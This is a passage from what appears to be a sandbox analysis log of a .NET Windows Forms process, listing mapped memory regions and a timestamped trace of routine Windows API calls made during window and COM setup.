"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll") Region: id = 2543 start_va = 0x73f00000 end_va = 0x73f7cfff entry_point = 0x73f00000 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2544 start_va = 0x76e30000 end_va = 0x76ebefff entry_point = 0x76e30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2547 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2548 start_va = 0x71210000 end_va = 0x71e67fff entry_point = 0x71210000 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll") Region: id = 2549 start_va = 0x73b00000 end_va = 0x73c8cfff entry_point = 0x73b00000 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll") Region: id = 2554 start_va = 0x570000 end_va = 0x5affff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2556 start_va = 0x73ee0000 end_va = 0x73ef5fff entry_point = 0x73ee0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2557 start_va = 0x73ac0000 end_va = 0x73afafff entry_point = 0x73ac0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2559 start_va = 0x20c0000 end_va = 0x2141fff entry_point = 0x20c0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2564 start_va = 0x20c0000 end_va = 0x2141fff entry_point = 0x20c0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2565 start_va = 0x73a30000 end_va = 0x73ab3fff entry_point = 0x73a30000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2566 start_va = 0x20c0000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2569 start_va = 0x73a10000 end_va = 0x73a22fff entry_point = 0x73a10000 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 2570 start_va = 0x48b0000 end_va = 0x4b81fff entry_point = 0x48b0000 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 2571 start_va = 0x70d70000 end_va = 0x71207fff entry_point = 0x70d70000 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 2572 start_va = 0x73940000 end_va = 0x73a04fff entry_point = 0x73940000 region_type = mapped_file name = "system.runtime.remoting.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll") Region: id = 2573 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2577 start_va = 0x7ef40000 end_va = 0x7ef4ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef40000" filename = "" Region: id = 2578 start_va = 0x7ef50000 end_va = 0x7ef9ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef50000" filename = "" Region: id = 2582 start_va = 0x71080000 end_va = 0x7120ffff entry_point = 0x71080000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 2583 start_va = 0x4b90000 end_va = 0x4d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 2584 start_va = 0x300000 end_va = 0x31afff entry_point = 0x300000 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat") Region: id = 2585 start_va = 0x20f0000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 2586 start_va = 0x2170000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 2587 start_va = 0x4bd0000 end_va = 0x4ccffff entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 2588 start_va = 0x4d20000 end_va = 0x4d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 2589 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2590 start_va = 0x4d30000 end_va = 0x4e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 2591 start_va = 0x4290000 end_va = 0x432ffff entry_point = 0x4290000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 2592 start_va = 0x4330000 end_va = 0x436ffff entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 2593 start_va = 0x4290000 end_va = 0x432ffff entry_point = 0x4290000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 2606 start_va = 0x4e30000 end_va = 0x4edafff entry_point = 0x4e30000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 2607 start_va = 0x4e30000 end_va = 0x4edafff entry_point = 0x4e30000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 2608 start_va = 0x4e30000 end_va = 0x62d8fff entry_point = 0x4e30000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 2609 start_va = 0x4e30000 end_va = 0x62d8fff entry_point = 0x4e30000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 2615 start_va = 0x4e30000 end_va = 0x62f2fff entry_point = 0x4e30000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 2616 start_va = 0x4e30000 end_va = 0x62f2fff entry_point = 0x4e30000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 2617 start_va = 0x4e30000 end_va = 0x5252fff entry_point = 0x4e30000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 2618 start_va = 0x4e30000 end_va = 0x5252fff entry_point = 0x4e30000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 2619 start_va = 0x5260000 end_va = 0x545ffff entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 2620 start_va = 0x4290000 end_va = 0x430efff entry_point = 0x4290000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2621 start_va = 0x4290000 end_va = 0x430efff entry_point = 0x4290000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2628 start_va = 0x4e30000 end_va = 0x4eeffff entry_point = 0x0 region_type = private name = "private_0x0000000004e30000" filename = "" Region: id = 2630 start_va = 0x5460000 end_va = 0x5d8ffff entry_point = 0x5460000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2633 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2634 start_va = 0x4290000 end_va = 0x42f1fff entry_point = 0x4290000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 2642 start_va = 0x4ef0000 end_va = 0x508afff entry_point = 0x4ef0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2643 start_va = 0x4ef0000 end_va = 0x508afff entry_point = 0x4ef0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2644 start_va = 0x70ee0000 end_va = 0x7107dfff entry_point = 0x70ee0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2645 start_va = 0x310000 end_va = 0x310fff entry_point = 0x310000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2646 start_va = 0x360000 end_va = 0x361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 2647 start_va = 0x735f0000 end_va = 0x73602fff entry_point = 0x735f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2648 start_va = 0x4ef0000 end_va = 0x5108fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ef0000" filename = "" Region: id = 2649 start_va = 0x310000 end_va = 0x316fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 2650 start_va = 0x420000 end_va = 0x421fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2651 start_va = 0x5d90000 end_va = 0x6182fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005d90000" filename = "" Region: id = 2655 start_va = 0x530000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 2657 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2675 start_va = 0x530000 end_va = 0x531fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2676 start_va = 0x4370000 end_va = 0x43affff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 2677 start_va = 0x6270000 end_va = 0x636ffff entry_point = 0x0 region_type = private name = "private_0x0000000006270000" filename = "" Region: id = 2678 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2679 start_va = 0x530000 end_va = 0x530fff entry_point = 0x530000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 2680 start_va = 0x540000 end_va = 0x541fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2681 start_va = 0x540000 end_va = 0x540fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2682 start_va = 0x75b40000 end_va = 0x75bc2fff entry_point = 0x75b40000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2683 start_va = 0x550000 end_va = 0x550fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2684 start_va = 0x4e30000 end_va = 0x4eaffff entry_point = 0x0 region_type = private name = "private_0x0000000004e30000" filename = "" Region: id = 2685 start_va = 0x4eb0000 end_va = 0x4eeffff entry_point = 0x0 region_type = private name = "private_0x0000000004eb0000" filename = "" Region: id = 2686 start_va = 0x560000 end_va = 0x561fff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2687 start_va = 0x560000 end_va = 0x563fff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2688 start_va = 0x4ef0000 end_va = 0x5108fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ef0000" filename = "" Region: id = 2689 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 2690 start_va = 0x70de0000 end_va = 0x70edafff entry_point = 0x70de0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 2691 start_va = 0x4ef0000 end_va = 0x4f52fff entry_point = 0x0 region_type = private name = "private_0x0000000004ef0000" filename = "" Region: id = 2692 start_va = 0x4f60000 end_va = 0x505ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f60000" filename = "" Region: id = 2693 start_va = 0x8a0000 end_va = 0x8cefff entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2694 start_va = 0x6370000 end_va = 0x6588fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006370000" filename = "" Region: id = 2695 start_va = 0x6590000 end_va = 0x67a8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006590000" filename = "" Region: id = 2696 start_va = 0x560000 end_va = 0x564fff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2700 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 2709 start_va = 0x8e0000 end_va = 0x8effff entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 2710 start_va = 0x1ed0000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 2715 start_va = 0x1ef0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 2716 start_va = 0x20c0000 end_va = 0x20d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020c0000" filename = "" Region: id = 2717 start_va = 0x43b0000 end_va = 0x43f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043b0000" filename = "" Region: id = 2718 start_va = 0x6370000 end_va = 0x6588fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006370000" filename = "" Region: id = 2719 start_va = 0x6590000 end_va = 0x67a8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006590000" filename = "" Region: id = 2721 start_va = 0x50f0000 end_va = 0x50fffff entry_point = 0x0 region_type = private name = "private_0x00000000050f0000" filename = "" Region: id = 2725 start_va = 0x8f0000 end_va = 0x8fffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 2726 start_va = 0x20e0000 end_va = 0x20effff entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 2727 start_va = 0x77ae0000 end_va = 0x77ae4fff entry_point = 0x77ae0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2731 start_va = 0x1ee0000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 2733 start_va = 0x6370000 end_va = 0x64effff entry_point = 0x6370000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2734 start_va = 0x2130000 end_va = 0x2130fff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 2735 start_va = 0x70d00000 end_va = 0x70dd3fff entry_point = 0x70d00000 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll") Region: id = 2758 start_va = 0x2140000 end_va = 0x2140fff entry_point = 0x2140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2759 start_va = 0x5130000 end_va = 0x516ffff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Region: id = 2760 start_va = 0x51d0000 end_va = 0x520ffff entry_point = 0x0 region_type = private name = "private_0x00000000051d0000" filename = "" Region: id = 2761 start_va = 0x65d0000 end_va = 0x66cffff entry_point = 0x0 region_type = private name = "private_0x00000000065d0000" filename = "" Region: id = 2762 start_va = 0x66d0000 end_va = 0x67cffff entry_point = 0x0 region_type = private name = "private_0x00000000066d0000" filename = "" Region: id = 2763 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2764 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2765 start_va = 0x2140000 end_va = 0x2140fff entry_point = 0x2140000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2766 start_va = 0x761c0000 end_va = 0x76e09fff entry_point = 0x761c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2767 start_va = 0x2140000 end_va = 0x2140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002140000" filename = "" Region: id = 2768 start_va = 0x2150000 end_va = 0x2150fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2769 start_va = 0x2150000 end_va = 0x2156fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2770 start_va = 0x2150000 end_va = 0x2150fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2771 start_va = 0x2150000 end_va = 0x2156fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2772 start_va = 0x2150000 end_va = 0x2150fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2773 start_va = 0x2150000 end_va = 0x2156fff entry_point = 0x2150000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2774 start_va = 0x67d0000 end_va = 0x69e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000067d0000" filename = "" Region: id = 2775 start_va = 0x69f0000 end_va = 0x6c08fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000069f0000" filename = "" Region: id = 2776 start_va = 0x4300000 end_va = 0x430ffff entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Thread: id = 54 os_tid = 0x568 [0207.974] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0218.600] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc11d [0218.600] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc11e [0219.380] GetCurrentProcess () returned 0xffffffff [0219.381] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x52ebd4 | out: TokenHandle=0x52ebd4*=0x1e4) returned 1 [0219.413] GetCurrentProcess () returned 0xffffffff [0219.413] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x52ec30, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x52ec30*=0x1ec) returned 1 [0219.460] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0219.488] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73a30000 [0219.497] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75e10000 [0219.498] GetProcAddress (hModule=0x75e10000, lpProcName="DefWindowProcW") returned 0x77b425dd [0219.498] GetStockObject (i=5) returned 0x1900015 [0219.536] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0219.546] CoTaskMemAlloc (cb=0x5c) returned 0x678a28 [0219.546] RegisterClassW (lpWndClass=0x52ea48) returned 0xc11f [0219.546] CoTaskMemFree (pv=0x678a28) [0219.547] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0219.547] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x1015a [0219.547] SetWindowLongW (hWnd=0x1015a, nIndex=-4, dwNewLong=2008294877) returned 5703686 [0219.548] GetWindowLongW (hWnd=0x1015a, nIndex=-4) returned 2008294877 [0219.610] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x52e358 | out: phkResult=0x52e358*=0x1fc) returned 0x0 [0219.610] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x52e378, lpData=0x0, lpcbData=0x52e374*=0x0 | out: lpType=0x52e378*=0x0, lpData=0x0, lpcbData=0x52e374*=0x0) returned 0x2 [0219.610] RegQueryValueExW (in: hKey=0x1fc, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x52e378, lpData=0x0, lpcbData=0x52e374*=0x0 | out: lpType=0x52e378*=0x0, lpData=0x0, lpcbData=0x52e374*=0x0) returned 0x2 [0219.611] RegCloseKey (hKey=0x1fc) returned 0x0 [0219.612] SetWindowLongW (hWnd=0x1015a, nIndex=-4, dwNewLong=5703726) returned 2008294877 [0219.613] GetWindowLongW (hWnd=0x1015a, nIndex=-4) returned 5703726 [0219.613] GetWindowLongW (hWnd=0x1015a, nIndex=-16) returned 113311744 [0219.614] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc120 [0219.614] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc121 [0219.614] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1015a, Msg=0x81, wParam=0x0, lParam=0x52e624) returned 0x1 [0219.614] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1015a, Msg=0x83, wParam=0x0, lParam=0x52e610) returned 0x0 [0219.614] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1015a, Msg=0x1, wParam=0x0, lParam=0x52e624) returned 0x0 [0219.615] GetClientRect (in: hWnd=0x1015a, lpRect=0x52e38c | out: lpRect=0x52e38c) returned 1 [0219.615] GetWindowRect (in: hWnd=0x1015a, lpRect=0x52e38c | out: lpRect=0x52e38c) returned 1 [0219.616] GetParent (hWnd=0x1015a) returned 0x0 [0219.750] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x52eaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0219.764] IsAppThemed () returned 0x1 [0219.766] CoTaskMemAlloc (cb=0xf0) returned 0x67e638 [0219.766] CreateActCtxA (pActCtx=0x52efa0) returned 0x681314 [0219.831] CoTaskMemFree (pv=0x67e638) [0220.019] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.020] AdjustWindowRectEx (in: lpRect=0x52ea98, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x52ea98) returned 1 [0220.212] EtwEventRegister () returned 0x0 [0220.227] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.227] AdjustWindowRectEx (in: lpRect=0x52e48c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e48c) returned 1 [0220.255] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.256] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.258] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.258] AdjustWindowRectEx (in: lpRect=0x52e490, dwStyle=0x5601008d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e490) returned 1 [0220.259] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0220.259] AdjustWindowRectEx (in: 